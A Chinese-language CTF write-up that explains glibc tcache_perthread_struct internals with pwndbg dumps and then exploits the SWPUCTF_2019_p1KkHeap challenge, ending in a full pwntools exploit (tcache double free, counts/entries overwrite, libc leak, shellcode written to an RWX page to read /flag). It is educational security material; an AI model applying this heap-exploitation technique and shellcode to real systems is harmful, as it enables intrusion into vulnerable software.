0x00 关于tcache_perthread_struct
tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能,与 fastbin 类似。 tcache 引入了两个新的结构体,tcache_entry
和 tcache_perthread_struct
。
两个结构体源码如下
1 2 3 4 5 6 7 8 9 10
| typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry;
typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
|
1 2
| TCACHE_MAX_BINS: # define TCACHE_MAX_BINS 64
|
我们在引入了tcache的glibc版本中,申请第一块chunk时查看heap状态会发现多申请了一块大小0x250的chunk(glibc2.32+为0x290,因为counts
的类型从char变成了uint16_t)。这个chunk就是 tcache_perthread_struct
counts数组的是各个size的tcache bin中的chunk数量,而entries指针数组则存放着各个size的tcache bin中的第一个chunk的mem地址(fd地址而非堆头地址)
我们通过调试SWPUCTF_2019_p1KkHeap这道题目的程序来使其直观化
我们先申请了size为0x80,0x90,0xa0的三个chunk,查看heap如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Allocated chunk | PREV_INUSE Addr: 0x555555a01000 Size: 0x250 (with flag bits: 0x251)
Allocated chunk | PREV_INUSE Addr: 0x555555a01250 Size: 0x90 (with flag bits: 0x91)
Allocated chunk | PREV_INUSE Addr: 0x555555a012e0 Size: 0xa0 (with flag bits: 0xa1)
Allocated chunk | PREV_INUSE Addr: 0x555555a01380 Size: 0xb0 (with flag bits: 0xb1)
Top chunk | PREV_INUSE Addr: 0x555555a01430 Size: 0x20bd0 (with flag bits: 0x20bd1)
|
发现除了我们申请的三个chunk,还有一个size为0x250的chunk,正是 tcache_perthread_struct
。然后我们free申请的三个chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Allocated chunk | PREV_INUSE Addr: 0x555555a01000 Size: 0x250 (with flag bits: 0x251)
Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555a01250 Size: 0x90 (with flag bits: 0x91) fd: 0x00
Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555a012e0 Size: 0xa0 (with flag bits: 0xa1) fd: 0x00
Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555a01380 Size: 0xb0 (with flag bits: 0xb1) fd: 0x00
Top chunk | PREV_INUSE Addr: 0x555555a01430 Size: 0x20bd0 (with flag bits: 0x20bd1)
|
注意这里显示的chunk地址是从堆头开始计的,也就是包括了pre_size域和size域。此时查看bins
1 2 3 4 5 6 7 8 9 10 11 12
| tcachebins 0x90 [ 1]: 0x555555a01260 ◂— 0 0xa0 [ 1]: 0x555555a012f0 ◂— 0 0xb0 [ 1]: 0x555555a01390 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty
|
注意bins中的chunk地址是从fd开始计的
三个chunk已经加入了tcachebins(大小为0x20到0x410),我们查看 tcache_perthread_struct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pwndbg> x/80gx 0x555555a01000 0x555555a01000: 0x0000000000000000 0x0000000000000251 0x555555a01010: 0x0100000000000000 0x0000000000000101 0x555555a01020: 0x0000000000000000 0x0000000000000000 0x555555a01030: 0x0000000000000000 0x0000000000000000 0x555555a01040: 0x0000000000000000 0x0000000000000000 0x555555a01050: 0x0000000000000000 0x0000000000000000 0x555555a01060: 0x0000000000000000 0x0000000000000000 0x555555a01070: 0x0000000000000000 0x0000000000000000 0x555555a01080: 0x0000000000000000 0x0000555555a01260 0x555555a01090: 0x0000555555a012f0 0x0000555555a01390 0x555555a010a0: 0x0000000000000000 0x0000000000000000 0x555555a010b0: 0x0000000000000000 0x0000000000000000 0x555555a010c0: 0x0000000000000000 0x0000000000000000 0x555555a010d0: 0x0000000000000000 0x0000000000000000 0x555555a010e0: 0x0000000000000000 0x0000000000000000 0x555555a010f0: 0x0000000000000000 0x0000000000000000 0x555555a01100: 0x0000000000000000 0x0000000000000000 0x555555a01110: 0x0000000000000000 0x0000000000000000 0x555555a01120: 0x0000000000000000 0x0000000000000000 0x555555a01130: 0x0000000000000000 0x0000000000000000 0x555555a01140: 0x0000000000000000 0x0000000000000000 0x555555a01150: 0x0000000000000000 0x0000000000000000 0x555555a01160: 0x0000000000000000 0x0000000000000000 0x555555a01170: 0x0000000000000000 0x0000000000000000 0x555555a01180: 0x0000000000000000 0x0000000000000000 0x555555a01190: 0x0000000000000000 0x0000000000000000 0x555555a011a0: 0x0000000000000000 0x0000000000000000 0x555555a011b0: 0x0000000000000000 0x0000000000000000 0x555555a011c0: 0x0000000000000000 0x0000000000000000 0x555555a011d0: 0x0000000000000000 0x0000000000000000 0x555555a011e0: 0x0000000000000000 0x0000000000000000 0x555555a011f0: 0x0000000000000000 0x0000000000000000 0x555555a01200: 0x0000000000000000 0x0000000000000000 0x555555a01210: 0x0000000000000000 0x0000000000000000 0x555555a01220: 0x0000000000000000 0x0000000000000000 0x555555a01230: 0x0000000000000000 0x0000000000000000 0x555555a01240: 0x0000000000000000 0x0000000000000000
|
正如上示, tcache_perthread_struct
的size域为0x251(含标志位),实际大小为0x555555a01000到0x555555a01240的0x250大小的一块。
我们先记0x555555a01000为heapbase,heapbase+0x10到heapbase+0x40这一块为counts数组,heapbase+0x50到heapbase+0x250的大小0x200(0x40*8)的一块为entries数组
heapbase+0x50存放大小0x20的tcachebin的第一个chunk的fd地址,heapbase+0x58存放大小0x30的tcachebin的第一个chunk的fd地址,以此类推,在heap+0x88存放的是大小0x90的tcachebin的第一个chunk的fd位置(不是fd值),即0x555555a01260,heap+0x90和heap+0x98处同理
1 2
| 0x555555a01080: 0x0000000000000000 0x0000555555a01260 0x555555a01090: 0x0000555555a012f0 0x0000555555a01390
|
1 2 3 4
| tcachebins 0x90 [ 1]: 0x555555a01260 ◂— 0 0xa0 [ 1]: 0x555555a012f0 ◂— 0 0xb0 [ 1]: 0x555555a01390 ◂— 0
|
而counts
数组位置记录的chunk数量是如何索引的呢?
1 2 3 4 5 6
| pwndbg> x/40bx 0x555555a01010 0x555555a01010: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x01 0x555555a01018: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x555555a01020: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x555555a01028: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x555555a01030: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
|
如上所示为counts数组,在counts数组为char类型的版本中(也就是此处版本),在小端序情况下,从heap+0x10处开始,按照低字节到高字节(也就是低地址到高地址)存储。如上所示(在使用x/gx查看de时候显示出的数据会按照小端序的方式以0x8字节为单位呈现,会使得在高地址的第八个0x01被理解为高位,所以改用x/bx查看更加直观)
第1字节存放大小0x20的tcachebin的chunk数量,以此类推看到第8字节,9字节,10字节都是0x01,也就是我们释放的三个chunk。
0x01 漏洞利用:修改counts数组和entries指针数组
看tcache_free函数
1 2 3 4 5 6 7 8 9 10 11 12
| #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } #endif
|
当对应大小的tcachebin中的chunk数量小于7时,会优先放入tcachebin,然而这里检查的是tcache->counts
数组中的元素,也就是根据tcache_perthread_struct
中的数据来判断,但却没有检查double free(在glibc2.29之后引入了key字段来防御double free,然而仍然可以绕过,关于不同版本glibc的堆管理和保护机制我再单独开一篇博客来记录)
而tcache_perthread_struct
本身也是可以free的,其也可直接当做大小0x250(0x290)的chunk来看待。同理,如果想要把tcache_perthread_struct
放入unsorted bin,就要将tcache->counts
中记录0x250(0x290)大小chunk的数量改为7
看在使用tcache时的malloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #if USE_TCACHE size_t tbytes; checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif
|
这里是根据tcache->entries
数组的元素来索引tcachebins中的第一个chunk,同样也是根据tcache_perthread_struct
中的数据来判断。
所以说,如果我们能够修改tcache_perthread_struct
中的数据,也就能控制整个tcachebins。我们可以修改counts数组的数量,以将chunk放到我们想放置的其他bins中(比如放入unsortedbin来泄露malloc_hook,libc),也可以修改entries数组的数据来malloc任意地址。
0x02 以SWPUCTF_2019_p1KkHeap为例
复盘/tcache_perthread_struct attack/unsortedbin leak/uaf/double free/orw
先放源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { const char *v3; int v4;
sub_B0A(); v3 = " Welcome to SWPUCTF 2019"; puts(" Welcome to SWPUCTF 2019"); while ( dword_202024 > 0 ) { menu(); v4 = sub_1076(); if ( v4 == 3 ) { Edit(); } else if ( v4 > 3 ) { if ( v4 == 5 ) Exit(); if ( v4 < 5 ) { Delete(v3, a2); } else if ( v4 == 666 ) { v3 = "p1Kk wants a boyfriend!"; puts("p1Kk wants a boyfriend!"); } } else if ( v4 == 1 ) { Add(v3, a2); } else if ( v4 == 2 ) { Show(v3, a2); } --dword_202024; } Exit(); }
|
菜单,限制操作次数至多为0x12,看选项函数
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int sub_E1E() { int v1; size_t size;
printf("size: "); size = sub_1076(); if ( size > 0x100 ) Exit(); v1 = sub_DA9(); if ( v1 <= 7 ) { qword_202100[v1] = malloc(size); dword_2020E0[v1] = size; } return puts("Done!"); }
|
最多申请八次堆,每次返回不同索引,size至多为0x100
edit
1 2 3 4 5 6 7 8 9 10 11 12
| int sub_EC1() { unsigned __int64 v1;
printf("id: "); v1 = sub_1076(); if ( v1 > 7 ) Exit(); printf("content: "); read(0, *((void **)&qword_202100 + v1), dword_2020E0[v1]); return puts("Done!"); }
|
dword_2020E0数组记录了chunk大小,不能溢出
show
1 2 3 4 5 6 7 8 9 10 11 12
| int sub_F58() { unsigned __int64 v1;
printf("id: "); v1 = sub_1076(); if ( v1 > 7 ) Exit(); printf("content: "); puts((const char *)qword_202100[v1]); return puts("Done!"); }
|
delete
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| int Delete() { int v0; __int64 v2;
if ( dword_202020 <= 0 ) Exit(); printf("id: "); sub_1076(); v2 = v0; if ( (unsigned __int64)v0 > 7 ) Exit(); free((void *)qword_202100[v0]); dword_2020E0[v2] = 0; --dword_202020; return puts("Done!"); }
|
dword_202020限制只能free三次,指针没置零。但是dword_2020E0数组对应项置零,free后无法edit,只能show。
那么思路就是,先泄露tcache_perthread_struct的地址,然后修改counts数组,将chunk放到unsortedbin,泄露出malloc_hook
我们还能注意到,程序映射了一块rwx内存位于0x66660000,可读可写可执行
1 2 3 4
| if ( mmap((void *)0x66660000, 0x1000uLL, 7, 34, -1, 0LL) != (void *)1717960704 ) exit(-1); memset((void *)0x66660000, 0, 0x1000uLL); strcpy((char *)0x66660000, "SWPUCTF_p1Kk");
|
那么思路很清晰了,只需要向这块区域写入shellcode即可。但是写入后发现无法getshell,后来发现程序开启了沙箱。那么用shellcode进行orw即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import* context.os='linux' context.arch='amd64' context.log_level='debug'
io=remote('node5.anna.nssctf.cn',20392) libc=ELF('/home/turing/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
def alloc(size): io.sendlineafter(b"Choice: ",b'1') io.sendlineafter(b"size: ",str(size)) io.recvuntil(b"Done!\n")
def show(idx): io.sendlineafter(b"Choice: ",b'2') io.sendlineafter(b"id: ",str(idx)) io.recvuntil(b"content: ")
def edit(idx,content): io.sendlineafter(b"Choice: ",b'3') io.sendlineafter(b"id: ",str(idx)) io.recvuntil(b"content: ") io.sendline(content)
def free(idx): io.sendlineafter(b"Choice: ",b'4') io.sendlineafter(b"id: ",str(idx)) io.recvuntil(b"Done!\n")
def exit(): io.sendlineafter(b"Choice: ",b'5')
alloc(0x99) free(0) free(0) show(0) heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x260 log.success(hex(heap_base)) alloc(0x99) edit(1,p64(heap_base+0x10)) io.recvuntil(b"Done!\n") alloc(0x99) alloc(0x99) edit(3,b'\x07'*0x40) io.recvuntil(b"Done!\n") free(3) show(3) malloc_hook_add=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10 log.success(hex(malloc_hook_add))
alloc(0x100) magic_add=0x66660000 edit(4,b'\xff'*0x40+b'\x00'*0x30+p64(malloc_hook_add)+p64(magic_add)) io.recvuntil(b"Done!\n") flag_add=heap_base+0x270 shellcode=shellcraft.open("/flag") shellcode+=shellcraft.read(3,flag_add,0x30) shellcode+=shellcraft.write(1,flag_add,0x30) shellcode=asm(shellcode) alloc(0x80) edit(5, shellcode) io.recvuntil(b"Done!") sleep(1) alloc(0x70) edit(6, p64(magic_add)) alloc(0x10)
io.interactive()
|